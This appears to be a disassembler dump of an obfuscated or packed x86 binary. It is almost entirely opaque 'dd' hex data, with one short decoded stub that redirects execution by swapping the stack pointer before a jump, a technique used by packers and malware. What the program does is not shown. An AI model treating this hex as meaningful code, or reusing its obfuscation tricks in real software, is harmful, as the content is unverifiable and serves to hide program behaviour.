		dd 4E80629h, 0FF000000h, 0BB001F03h, 6FFAFC26h,	7C6EBB50h
		dd 448B09C2h, 14E90424h, 30000000h, 9FD9BBBDh, 0C09FC386h
		dd 47C6AE5h, 22E3E081h,	8BE624A6h, 0DE900h, 77B30000h
		dd 62AA03B1h, 174EF5CEh, 89EB6209h, 60042444h, 0CE9h, 8FF3D900h
		dd 86557596h, 0E4CF8259h, 0BF5250C3h, 1FB3950Dh, 0BE66310Fh
		dd 585A4059h, 6A5861h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0D98B02C3h, 0DE98589h, 858D0629h
		dd 62CC096h, 0F9F34DBFh, 0E9519010h, 11h, 0D28985h, 2E724824h
		dd 0F4BC92CAh, 0A60DB904h, 60505F9Dh, 0A198BE66h, 7702C6BFh
		dd 6A906156h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 3770C355h, 757CF1FFh, 606B1573h
		dd 14DDBD89h, 958B0629h, 6290CE1h, 4D95FF61h, 9062900h
		dd 29271985h, 398D8906h, 6106292Ch, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0C0C35646h,	0D585313Fh, 0C7062924h
		dd 29200585h, 306h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 4E937DF3h, 9D9B531h, 0BD830629h
		dd 62CC096h, 4E840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 6A68C356h
		dd 290F3021h, 2910A98Dh, 3EE906h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 14D43C3h
		dd 290AC985h, 0C305006h, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 6AFA8B66h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 3383C350h
		dd 96D0C452h, 3580A040h, 2005BD83h, 0F030629h, 46485h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 6B811153h, 85890562h, 62908ADh, 0C096BD83h
		dd 0F00062Ch, 43084h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 3F7DA711h, 0BB66DBB1h
		dd 0B5FFF7DBh, 62CC096h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ch, 83C35040h, 9DF9ED24h,	0CD04C81Dh, 0E7995FFh
		dd 0B58B0629h, 62CC08Ah, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 1BC35545h, 0CE02F412h, 13DDB589h, 6C70629h
		dd 10001h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0BDC35747h, 31BD2B60h, 31062924h, 2905E585h, 66966106h
		dd 9650FE8Bh, 0B4CDEF81h, 0B5FF78BAh, 62CC096h,	72195FFh
		dd 6A0629h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0BB60F6C3h, 2FD64FBFh, 0DB19589h,	0BB610629h
		dd 1E526614h, 0C08AB58Bh, 0BD8B062Ch, 629114Dh,	1211BD8Bh
		dd 858B0629h, 6292479h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 26C35747h, 0A2EAE259h, 0A58D8936h, 89062934h
		dd 0C486h, 8B3AB300h, 291E6D95h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 2DFE8FCBh
		dd 0D9EF8166h, 4C283BDh, 1B659D8Bh, 50890629h, 56006A20h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0BE252EE7h, 1001368Ch, 8D3AB7F8h, 2CD46585h,	14E806h
		dd 6A760000h, 601FBA2Fh, 0AD3AF38Eh, 527C9827h,	54F3D087h
		dd 0B70F8AEFh, 86895FF8h, 0B8h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0B4C35646h,	261BDE69h, 8166431Dh
		dd 6A7EB8E7h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0E95E653Fh, 0FE95AE2h, 69000000h
		dd 0E83361C4h, 8CF4C4B6h, 1892EEE4h, 0B5FFFACFh, 62CC096h
		dd 0CE9h, 51300300h, 8900CD49h,	77BBE307h, 13E949h, 0CA620000h
		dd 0A04EF43Eh, 990F338Eh, 0E14BAAE2h, 0C78DA9FAh, 3195FFFAh
		dd 66062930h, 5096FB8Bh, 96F98B66h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0F9C35242h,	0D2E04AE2h, 8E19A5D1h
		dd 0C096B5FFh, 0AEBB062Ch, 0FF6573E0h, 292F9595h, 58BB6606h
		dd 0BF0F562Ah, 0BD835FDFh, 62911A9h, 4F840F00h,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 154CC357h, 18E0F6Eh, 0F8000000h, 50FA8B96h
		dd 6A96ACB3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 32B8C351h, 13218589h, 0B5FF0629h
		dd 62CC096h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	89C35242h, 1DBD8BF4h, 8B06290Ah, 2923E9BDh, 3595FF06h
		dd 0F06292Dh, 68Ch, 19950900h, 0FF062920h, 2CC096B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 2870F5Fh, 0B3000000h, 595FFEDh, 0E9062906h, 12h, 0EB24B15Eh
		dd 1FE0EDD5h, 96CACA76h, 5825B8FAh, 0BD8393D3h,	6290ABDh
		dd 8E840F02h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 7178C356h, 0F084EBD5h
		dd 0C66232A5h, 1B01BD8Bh, 858B0629h, 6291829h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 2DC35646h, 0CE89A8Bh
		dd 0F6000000h, 64C426A0h, 459B75B4h, 8B5967D5h,	2927519Dh
		dd 0C65F06h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0DC2C3934h, 0B70F3BDDh, 5D85C7F8h
		dd 62906h, 57000000h, 81858952h, 5B06292Ah, 0F261E95Bh
		dd 0B589FFFFh, 6290F61h, 6AC18Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 3D30DFC3h, 65D6C7E9h
		dd 10E90E7Fh, 0F1000000h, 6A9E39h, 2 dup(0)
		dd 0E9000000h, 5CFh, 0C674875Ch, 5C93820h, 4D810AE3h, 995DAEABh
		dd 2614997Fh, 37955A76h, 0FC5EB8BAh, 401BFD71h,	9ED0BCBh
		dd 9FF65280h, 3EAA189Bh, 59EC817Ah, 11E960C4h, 0F54D9BFh
		dd 0EE7FF026h, 3B6A806Ch, 6CEE7CFFh, 0D33A6580h, 0C7A74185h
		dd 4626F84Eh, 0EE66C9CDh, 4D53806Ch, 321D6495h,	0B7469274h
		dd 63BB51F3h, 0EF74A3EDh, 0F5C36DA7h, 0EC65C1A7h, 0A42F886Eh
		dd 7CF750B6h, 0FF72D48Ah, 0E417C296h, 7EBC102h,	9D6DE641h
		dd 1CEA633Bh, 0AA6EC135h, 0C85B806Ch, 3DAE70C6h, 0CBFE1C33h
		dd 310E6948h, 6DCEF72Fh, 633B9DE6h, 0A84E8EEAh,	81E545CCh
		dd 806CD931h, 5442ABF2h, 806CD8E3h, 0D17745CEh,	0BB1DFB4Dh
		dd 33BDE236h, 0CF7ADCFDh, 88h, 0FED4B64h, 0CD6D4AA7h, 0BB825150h
		dd 1FD32452h, 553E806Ch, 4CC5A107h, 203B86FAh, 5CFA806Ch
		dd 0B6A276CAh, 0C2227147h, 0E07ADDB6h, 4D3DB410h, 57BE4F8Bh
		dd 1B401h, 0C4B10000h, 0DC56C81Ch, 1198EDB9h, 0B20BED36h
		dd 0B6024139h, 88785CD7h, 92FB0AD6h, 0A1C0166Eh, 7A5E07CCh
		dd 0FA09D0B6h, 5FF14A0Ch, 353B6EE8h, 1CEA3527h,	9A6C9FBAh
		dd 58F036D4h, 6CC5D95Ah, 745FC080h, 0EFD84EECh,	0B6508273h
		dd 149F5FD6h, 2954454Bh, 1FABC78Bh, 2D855B39h, 97AB5564h
		dd 0E244AFC4h, 65C5342Ch, 0E743C8A3h, 0CCCA3921h, 806CC36Bh
		dd 4E2CD56h, 0C366C9CDh, 0C053806Ch, 10A678DEh,	0F2D34BF1h
		dd 0BB5D911Ch, 0B7016AE3h, 0B67A5ED7h, 8FE75D0h, 11A18503h
		dd 7ADD10DFh, 871Bh, 66C4D000h,	0EF4AADE9h, 0ECB7806Ch
		dd 8A632585h, 0DABB901h, 0C74A2819h, 9E13F117h,	0E5B7F928h
		dd 0DD197864h, 62FF5DBBh, 0A6222991h, 27FEF680h, 95347ADDh
		dd 0D3000000h, 0A32B8C8Ah, 3561806Ch, 806CA2C2h, 0A7E8642Fh
		dd 66C49E51h, 62361FEBh, 552B018Ch, 0CB1C79F2h,	6CEE6CCFh
		dd 0EECA5580h, 0BE87EE1Ah, 6CEEF778h, 54B1E280h, 6CEECD2Eh
		dd 0D6B3480h, 0A80E37EFh, 0EE80F327h, 2669806Ch, 0A2761FDFh
		dd 0FD7642C9h, 1DED1CC4h, 6CEE9919h, 29A40680h,	9263FF51h
		dd 139A72D4h, 2C327C57h, 0A1EC44FAh, 55DA74D7h,	6961F6BFh
		dd 7A98FCC7h, 0B2D212A4h, 11687ADDh, 27000000h,	6AD427F9h
		dd 8FF5436Fh, 0CF9D09BAh, 16D93FA9h, 81EA61C4h,	0EEF97AB8h
		dd 0BFE0806Ch, 5737E959h, 0E42D68DEh, 241ADBB4h, 0BFFBD043h
		dd 806C653Ch, 4593FAA5h, 0E7467FA7h, 0A9B1076Ch, 0BFF0CD5h
		dd 0DA09F1D8h, 0FD9C7EFEh, 1FEB603Bh, 9280ED34h, 7A456544h
		dd 74E386Bh, 0BB956C19h, 735901E1h, 82B0399Dh, 0B1098064h
		dd 9580007Dh, 0F92D3386h, 71E56CC8h, 46BC3797h,	86957FF5h
		dd 368B3DCh, 0EC5AD7B5h, 0E16D79A7h, 1DCDBB4h, 250E472Bh
		dd 95AC7EF1h, 0DC386B86h, 0BE9A9E7Eh, 41A8FB4Fh, 70B692F9h
		dd 0FC7EF757h, 0B42949ABh, 155E174h, 0C04A0000h, 8D89D259h
		dd 7A45BAC5h, 4081792Ah, 8E9A4958h, 197F1CC9h, 0E86AE3BBh
		dd 0DC513781h, 0EE421AF8h, 0D2EEFE5h, 5E287331h, 0D5951CF8h
		dd 0AB9C82C6h, 0CF985AD3h, 74B2FA25h, 68DDh, 52C01600h
		dd 0C98A88D5h, 0F0B19C71h, 2E8ADBAFh, 2360C64Dh, 0EE62D5D5h
		dd 5437006Ch, 0ACB56BDFh, 0B99FEB5Fh, 0F56BD165h, 5D399F31h
		dd 0EF4FA0D6h, 0E9BA006Ch, 8DEB388Eh, 0EC4F672Bh, 0C3371C67h
		dd 319C7110h, 4DAED4B9h, 64806CEEh, 7D3836Ch, 0E3312F28h
		dd 53BA8576h, 0B9F4E3h,	0B69F0000h, 6CDDEF40h, 6349DA80h
		dd 0D259C0E0h, 0C1322F89h, 0E7CE2A79h, 45E013B3h, 0FC3A037Ah
		dd 8696007Bh, 1DF3D66h,	8B63351Eh, 66FA402h, 96009F10h
		dd 33190A86h, 812D894Fh, 51C1491Eh, 73A77Eh, 0E986960Fh
		dd 0C6745FA6h, 7DCD4420h, 960E6F39h, 0B274CA86h, 0BEBC3591h
		dd 0C53BD5Ch, 0DEE45F10h, 43B2AE0Ah, 7845ACE7h,	74EB3E3Ah
		dd 512A5680h, 0AFD912F0h, 0BB8209E2h, 0B611875Dh, 3F064D3Dh
		dd 0B831954Bh, 998D93CEh, 0AC15F927h, 0BB3C539Ch, 0C551FC7Fh
		dd 53BAE58Ch, 4DF6A305h, 981B1F60h, 0D18CC551h,	7C8F4C88h
		dd 0C54E82C0h, 9C989EF7h, 386A3ECh, 0C0A92210h,	0F8FE5F59h
		dd 6FB69160h, 36EE1A06h, 0DF7C6751h, 926E94F9h,	757A4A4Dh
		dd 0FA4CC1A7h, 1C654EA9h, 9A5695E6h, 0C5137C86h, 0B23B9375h
		dd 0F866680h, 651B47BBh, 0DA70AB0Ah, 119C8C44h,	0FF5EC6F4h
		dd 0E4CF4421h, 0D35A3290h, 0A8218563h, 12E178DEh, 58386954h
		dd 931EF8FCh, 0C795FE48h, 0C81BEF64h, 0EFD84EECh, 0B254860Fh
		dd 0C09753DAh, 10h, 0D563FA1h, 6CEEA609h, 0B4001380h, 0C97A5EADh
		dd 1AEC1FC4h, 9169E044h, 13D75C3Fh, 9056DBBDh, 15D5583Eh
		dd 9650DDB3h, 6CDA2930h, 0EE58D3AAh, 79C13028h,	0E089503Ah
		dd 7BEBF57h, 814754BAh,	1D15F1EFh, 94EF8176h, 0D1407C70h
		dd 67C781EFh, 1B0EFBFh,	0E8835FF8h, 24048704h, 0E789575Ch
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 68241C89h,	4386h
		dd 56240489h, 0F6027D68h, 24348B56h, 4C481h, 0C6810000h
		dd 55F27A09h, 0F681DEF7h, 5539C6E2h, 685EF389h,	34B4h
		dd 81242489h, 42404h, 68580000h, 799Bh,	8F241C89h, 48B0840h
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 241C8B5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54F76C
; ---------------------------------------------------------------------------
		db 0CEh, 4Bh, 25h
		dd 11C86009h, 0DF8A2A28h, 0B8D02926h, 62E4AADh,	0E0FFC503h
		dd 6DA3EA6Bh, 519271EBh, 7119D8C2h, 5161F20h, 67C9F960h
		dd 6D56E0B9h, 92775B1h,	804A10Dh, 5FEA6E2Eh, 6ACED0D3h
		dd 67CD3BE9h, 0CE8h, 0C3FECD00h, 0E9764C57h, 6DC3DC8Ah
		dd 9840FFDh, 0F000000h,	38Ah, 70C08000h, 0E080575Eh, 0C68158F8h
		dd 673Eh, 97CC64BFh, 0E8C92B35h, 9, 985EF2DBh, 0C06D0CFDh
		dd 58A4B4A3h, 5A3134FFh, 83FEB866h, 5081F281h, 14E956A8h
		dd 0FB000000h, 3652E578h, 0CA620EBFh, 0A04EF43Eh, 990F338Eh
		dd 814BAAE2h, 64A0BCF2h, 0F281F850h, 4D4BA04Dh,	6870Fh
		dd 0C7810000h, 5C37A280h, 0E80E1489h, 0Ah, 5814978Ch, 5AA2A648h
		dd 0BB669C29h, 665F2123h, 0E983DA8Bh, 49FFB401h, 0E3814949h
		dd 193EC60Fh, 99A0F981h, 850FFFFFh, 1Ah, 29E9FCh, 0E9A20000h
		dd 76F1193Eh, 0D5691D84h, 8C8F4953h, 7B650AB1h,	0F50D958h
		dd 389h, 1ADC8000h, 0FF62E95Bh,	0F082FFFFh, 8DD274F3h
		dd 2E4D498Dh, 8D89FC06h, 6291E6Dh, 0CDD8589h, 0F510629h
		dd 0C75BD3BFh, 292D8185h, 5D8406h, 6870F00h, 8B000000h
		dd 29246DBDh, 585C706h,	62920h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0BC47C357h
		dd 0EB8D055Bh, 0E4A752DCh, 8C1958Bh, 0B5FF0629h, 6291B09h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 67C35646h
		dd 0DE885h, 0F5180000h,	0CB5798E8h, 905E7ACDh, 66983D99h
		dd 585DDF81h, 0E995FF5Bh, 60062931h, 0ECDB589h,	0E9610629h
		dd 0Eh,	0E63042D1h, 7870FE1h, 99BF7701h, 6A4E32h, 59195FFh
		dd 0C08B0629h, 6D5D59EBh, 0B854AEE7h, 1EABEEEFh, 45C7AE78h
		dd 6A184759h, 20D698B1h, 2AD55634h, 0F7A0ED95h,	0BAE98665h
		dd 6F1F0F09h, 0D75696BEh, 416B5ED7h, 0BC78AC94h, 90E9EC1Ah
		dd 44A7F2FAh, 0F0E5A6E5h, 1181F75Ch, 0B13F7DA7h, 604CA9DBh
		dd 51D39635h, 0B0F0492Ah, 14B7C8D6h, 8D5A7D38h,	2E4E828Dh
		dd 0E92DB306h, 12h, 14DD77FFh, 6A40004Eh, 3BE73049h, 0CBEE4F4Ah
		dd 8D897F4Ah, 6291E6Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 15C35040h, 0DD85316Dh, 0C706292Dh, 292D8185h
		dd 580C06h, 0D78B6600h,	200585C7h, 629h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 300710C3h, 0F11CF75h, 583h, 0CB816600h, 0B5FFBAF2h
		dd 6292FD9h, 4FE58060h,	0B98ED9B8h, 95FF617Ch, 62931E9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0D1C35141h
		dd 0E9AECBA2h, 0Ch, 762138B8h, 38B87774h, 77747621h, 6AD3BF0Fh
		dd 9195FF00h, 8B062905h, 1028EBC0h, 0EA3775A8h,	904EA4A5h
		dd 6FE43BA9h, 6462982Dh, 0A318C6BAh, 0D26F437Dh, 49124EB6h
		dd 44859988h, 0BEA455C3h, 0E93DB07Dh, 19h, 18FFED68h, 5	dup(0)
		dd 4DEE900h, 0C9160000h, 2DE383Ah, 0C0A543F3h, 0F46D8B4Bh
		dd 5331D707h, 944C1CDEh, 0F664E94Fh, 3B3BB610h,	7DF17ADDh
		dd 884AC39Bh, 0DE51452Ch, 0CB7A3EA0h, 60C4832Ah, 0D9BF11E9h
		dd 0A400E654h, 23FB5D2Dh, 987841AAh, 0F447B33Eh, 0DD806CEEh
		dd 0B39266B2h, 6D241F4Dh, 6C68C629h, 3C603380h,	3F1DACEFh
		dd 0B6708159h, 1F28FE9Ch, 6DCE34BFh, 54806CDCh,	959BE0CBh
		dd 0A204F06Dh, 4085B2Fh, 8AEE1B14h, 58D3B452h, 4BC2A573h
		dd 6CE9EC4Fh, 634AD580h, 5437D115h, 2D8EF4DDh, 94806CEAh
		dd 0EA2C8F8Bh, 8A95806Ch, 0A701C7A3h, 23FA5C2Ah, 9F78DEA8h
		dd 7735214h, 806CE9B4h,	4CEA721Dh, 0DA0B64DAh, 1330987Eh
		dd 5BABCC82h, 13703611h, 0C6FF27C5h, 8A6CEE65h,	0ABCFBB32h
		dd 806CEA4Bh, 5ADC42C8h, 7ADCEC9Ah, 0A150h, 60C49D00h
		dd 2C348CE9h, 0F70BFFDDh, 806CEE8Ah, 0EA76C20Bh, 71F3D1Bh
		dd 0DCE7658Fh, 0DBB3057Ah, 1B70652h, 0BC000000h, 4A96624Bh
		dd 9284CFBBh, 806CEF21h, 78BE8788h, 806CEEF7h, 855BB1E2h
		dd 5947AC5Dh, 0DC6F3128h, 0A2166220h, 34A074ECh, 33253386h
		dd 0BA1CEA35h, 0B1076C9Fh, 0BFCC78D6h, 0BEF4A85Bh, 93B10157h
		dd 18C6ECAh, 0E80E6AB9h, 7DB98236h, 806C97FAh, 2357BCE7h
		dd 806C97D0h, 0AC025639h, 0E05347B4h, 0C9806C97h, 19FF7F46h
		dd 6F0634BDh, 0C6A05189h, 9917878Dh, 6115F312h,	66C4D80Bh
		dd 0A1B91FEBh, 0C7859650h, 0D80665Fh, 0C64F2FC9h, 44CFAE60h
		dd 4BD379E2h, 0DCE539CBh, 75F17Ah, 38980000h, 3E15D55Ch
		dd 66C469DAh, 200BFA66h, 0AE258046h, 9318F345h,	0B95FF545h
		dd 73FE5C65h, 66ED4E2Ah, 5E3CDA12h, 0A8B117D3h,	0C7A6725Bh
		dd 9398684Ch, 4FA131F5h, 0EB7ADCE5h, 4Eh, 0EB66C440h, 0A8CA361Fh
		dd 57AE1B40h, 1AF19811h, 3E98A816h, 28A304DAh, 1FEC75C3h
		dd 0D43D4939h, 2F249783h, 828D806Ch, 0A10A769Eh, 0B084F17Eh
		dd 0E5BB8C92h, 0C461EA68h, 191DED1Ch, 806CEE99h, 0A82AFC1Ah
		dd 7ADCE748h, 1E2h, 61C44B00h, 0E2BA1CEAh, 318904E6h, 593F8BD2h
		dd 0D3B575FEh, 0C732F479h, 879CD51h, 50350E10h,	6DA9F2DBh
		dd 806CEF0Ah, 8C48ACF7h, 3B00AB6Eh, 45EE9FFFh, 0FAC9377Ah
		dd 71BA2593h, 0A5EE7440h, 56348CC5h, 147FF656h,	38A62C0h
		dd 3DEBAD3h, 66C6A4F0h,	9AE71BEFh, 0AD869513h, 0DAB2938Bh
		dd 37F302DEh, 0C8A8F5DCh, 9D99E211h, 8695141Ah,	0BCB89C87h
		dd 0BF0B825Ah, 32F47DD9h, 8ABB63E9h, 0D2BBBB32h, 0CD2BDA06h
		dd 0B4C316DEh, 1232C74h, 0C0190000h, 8D89D259h,	7A45BAC5h
		dd 0EC1C792Ah, 6F81A036h, 0D1A1F7A9h, 0CD169F7Fh, 3A1EEF6Bh
		dd 8900E402h, 76FF5F31h, 0F57EDEB0h, 96C52E81h,	0A1889B86h
		dd 2FA407D9h, 15092F5Bh, 44DA7EA1h, 0B3AFAB03h,	44AFE442h
		dd 111FC196h, 65DB74B3h, 0F2000000h, 0CB032B8Eh, 96226CCFh
		dd 0C6CA5586h, 8CE8548Ah, 0D552C043h, 71C98A88h, 0AFF0B19Ch
		dd 0EF54A7DBh, 37D5006Ch, 63FF59EFh, 0EF116290h, 97F8006Ch
		dd 4CA9FA4Ch, 6CEEE556h, 7543CC00h, 51BAFF93h, 9C717225h
		dd 0C6741F31h, 0DF5046AFh, 0CA806CEEh, 7A6C7359h, 27000000h
		dd 357B8851h, 0D41F9528h, 15DE3A1Dh, 0FE5F59C0h, 0EEB00377h
		dd 7619806Ch, 0BBFFC42Fh, 7A45E00Bh, 1C7A3ECh, 0C82E2CA5h
		dd 0E105E56Ch, 86960047h, 0B98A9CA2h, 0F27FD9DDh, 0D049ABABh
		dd 0D5B6026Bh, 0F5A4525Eh, 9EB20897h, 3C2F6BBAh, 65807485h
		dd 0A707D13Ah, 2D0B582Eh, 8F23FB5Dh, 2464F0B9h,	3DABE12h
		dd 8AD53E88h, 0C75FC13Ch, 4F941FFAh, 0A2DD584Bh, 0DC1E0186h
		dd 0D259C057h, 72D0A089h, 0FCD80BFFh, 4B20ABBCh, 0FD4DD67Ah
		dd 8CA431Bh, 5B873F61h,	6EDA98B2h, 59D0B40Ah, 48C3A47Ch
		dd 61C795FEh, 0E3C91AECh, 0A9ED361Fh, 869B6B46h, 1F972CBh
		dd 51880EC2h, 0A48FC4A2h, 0B40A5050h, 0F39998ECh, 0CB421A2Bh
		dd 8009ED0Bh, 0AF96026h, 401041BCh, 0B79C6A99h,	6A5BC361h
		dd 3DDB1B92h, 3F16D059h, 2074FD59h, 8B3h, 0ED4B3000h, 2BB6820Fh
		dd 0EC1FC498h, 69E0441Ah, 0D75C3F91h, 56DBBD13h, 0D5583E90h
		dd 50DDB315h, 0DA293096h, 58D3AA6Ch, 0C13028EEh, 54503A79h
		dd 40558h, 0E8830000h, 24048704h, 4BB0685Ch, 34890000h
		dd 7C366824h, 4890000h,	4ED26824h, 348B062Eh, 4C48324h
		dd 24048B54h, 4C481h, 8F560000h, 34FF0840h, 0C4815824h
		dd 4, 5E2434FFh, 0E904C483h, 0FFFB29F0h, 4E67242Dh, 2E535EB8h
		dd 0FFC50306h, 7E3D15E0h, 0AC356D4Ah, 2E0F6F58h, 5DFADC42h
		dd 0EF3B763Fh, 0E622F905h, 3D941022h, 4D523B63h, 96F7FD38h
		dd 9F2D3D69h, 8544945Fh, 0E6CDB874h, 3FCEAF48h,	6F8958h
		dd 1D10245Ch, 664343h, 2226046Fh, 0E21BDE27h, 712ADE74h
		dd 4B46D4D4h, 557F01DCh, 525CD4C8h, 0B336398h, 2633A9A9h
		dd 265AF198h, 3D6AEF5Eh, 4E6033B1h, 0A5E4FFB4h,	3CAAF867h
		dd 0A3BEA0B1h, 201F284Ah, 0A3BA7967h, 201AD26Dh, 2D71Bh
		dd 293333B1h, 2633831Dh, 37B6C098h, 763588CCh, 7230D615h
		dd 0D963AFB6h, 0F35210Dh, 2664839Eh, 23593598h,	72201F15h
		dd 0AB634BB6h, 867A51Dh, 0B3CC039Eh, 201AA925h,	0A23C1493h
		dd 26336AA1h, 7220B015h, 0CE639CB6h, 26334DAAh,	0A3BEF6D8h
		dd 201D0781h, 35B624C8h, 7635FACCh, 38DEFF67h, 0E2B033B1h
		dd 35B61794h, 763563CCh, 72302315h, 0D96355B6h,	0F355C0Dh
		dd 26513D9Eh, 0AD666A98h, 74646474h, 2E4E11CEh,	24DA8DABh
		dd 6633A698h, 260CD3DFh, 0D9C62C97h, 0EF002B67h, 0CF3B1713h
		dd 263335B2h, 31B948ABh, 0AD03A718h, 0AD63E868h, 2C88005Ah
		dd 0CF33A998h, 2633D49Bh, 0A57D896Fh, 0A13C3566h, 0D9CC656Ch
		dd 7EFB4EC3h, 0E638EEDFh, 0D9FDD697h, 0E7B85667h, 7F6C8EC6h
		dd 2637A851h, 72328815h, 0ABBE9CB6h, 201D18AEh,	9320h
		dd 0E7FC7800h, 7310271h, 0C783C8D0h, 850F4904h,	0FFFFFFF2h
		dd 5536B58Dh, 8D8D062Eh, 62E5555h, 0E983CF2Bh, 0E8C88B05h
		dd 6, 33A049FAh, 8D8B2BF9h, 6292D9Dh, 28B0F58h,	8B000000h
		dd 76C081D1h, 89000059h, 291B299Dh, 1643BF06h, 2DBA0000h
		dd 0FF42B42Fh, 5B39B630h, 0F381D78Bh, 0E21323Ah, 81D68B66h
		dd 48EFF3h, 35B58B27h, 81062923h, 2F3690C3h, 89D18B43h
		dd 0AD958918h, 8306290Fh, 958B02E8h, 6293339h, 0D5BA4848h
		dd 4F253E65h, 0FFBD850Fh, 0CE95FFFFh, 0A712638Ch, 847D338Ch
		dd 2DE6F0D4h, 255B17C8h, 0BFAB17C8h, 0E4D7338Ch, 0E2DDF0DCh
		dd 0C5925E51h, 767B7FE0h, 0E66230DAh, 4A3EF307h, 39E2B041h
		dd 0A4A91ABCh, 19543AF9h, 0A2C233F9h, 0F4EC478Ch, 1C3AB8DFh
		dd 0A47D378Fh, 95BBB605h, 39D235A5h, 0A284992Eh, 0FC8CE073h
		dd 0A49E8E0Fh, 0D0F535A5h, 1CA9639Bh, 0A47D378Fh, 95BBB605h
		dd 39D235A5h, 0A284941Dh, 0FC8CE073h, 0A1528E85h, 0A49F35A5h
		dd 0A4F9DBDCh, 0FC5D338Ch, 0E0376B4Fh, 0E0DE37A8h, 0A4B237A8h
		dd 0F497338Ch, 1FF1B64Fh, 0B0EAFDE0h, 2FA92A0Ch, 8D72A601h
		dd 2F7EB88Ah, 8D7B7601h, 7C23558Ah, 4C8633E6h, 0A4EB338Fh
		dd 0FD366AACh, 0A0DE7F05h, 0A059770Dh, 0A4BE3397h, 129C62CDh
		dd 0F2452D01h, 2D74317Fh, 8DE4A609h, 0ABF19B8Ah, 0A4FE0208h
		dd 2722608Ch, 8DB8E231h, 2050338Ah, 0A4AF33C7h,	0A4D72365h
		dd 390E768Ch, 1A0ACD5Dh
		dd 0F737A9AAh, 0FBB413EDh, 25D8621Dh, 0FE82EE6Eh, 0A4AB3265h
		dd 0F6D7598Ch, 0A4EB3064h, 67AF138Ch, 80AEBAD6h, 8039B288h
		dd 0A4BE2F88h, 670D718Ch, 5BC42F80h, 3E239909h,	99561A6Fh
		dd 1AF31AA4h, 0A6FA148Ch, 0A47BB983h, 2137338Ch, 0A27628DDh
		dd 2112BADAh, 0FFD11A8Bh, 0D4D5B601h, 297E35A0h, 0A2D32A7Dh
		dd 2174E373h, 0A2971B65h, 2050F309h, 0A4AF32B0h, 0A4D73E65h
		dd 0A7AF768Ch, 46AC1503h, 6BCC9166h, 9CFCF544h,	5F3F55DBh
		dd 0A43DB683h, 0A4C5338Ch, 0A4D4DBDCh, 0FCCB338Ch, 0E07C6B4Fh
		dd 0E07B37A8h, 0A46637A8h, 0F4FE338Ch, 4C5EED4Fh, 0F4404968h
		dd 0A7F48474h, 8DCF0231h, 6674558Ah, 259C8921h,	0A67F37F4h
		dd 0A73EB783h, 0A435338Ch, 0A4ACDBDBh, 0FBF7338Ch, 0D8626C4Fh
		dd 0E07437A8h, 0A4E037A8h, 0F33A338Ch, 0F01F374Fh, 0E3982359h
		dd 4E138CEAh, 38EFB2EAh, 156E3CECh, 0CEF5338Ch,	0A712638Ch
		dd 847D338Ch, 2DE6F0D4h, 255B17C8h, 0BEAB17C8h,	0E4D7338Ch
		dd 0FE0BF0DCh, 0E61470E3h, 0A4EEDB2Ch, 366E338Ch, 71055AC7h
		dd 392F3D31h, 10892382h, 26701353h, 3162B491h, 0A2DC172Dh
		dd 0C50253D6h, 4C7F4B0Ch, 0A4DCB683h, 0A435338Ch, 0A4ACDBDFh
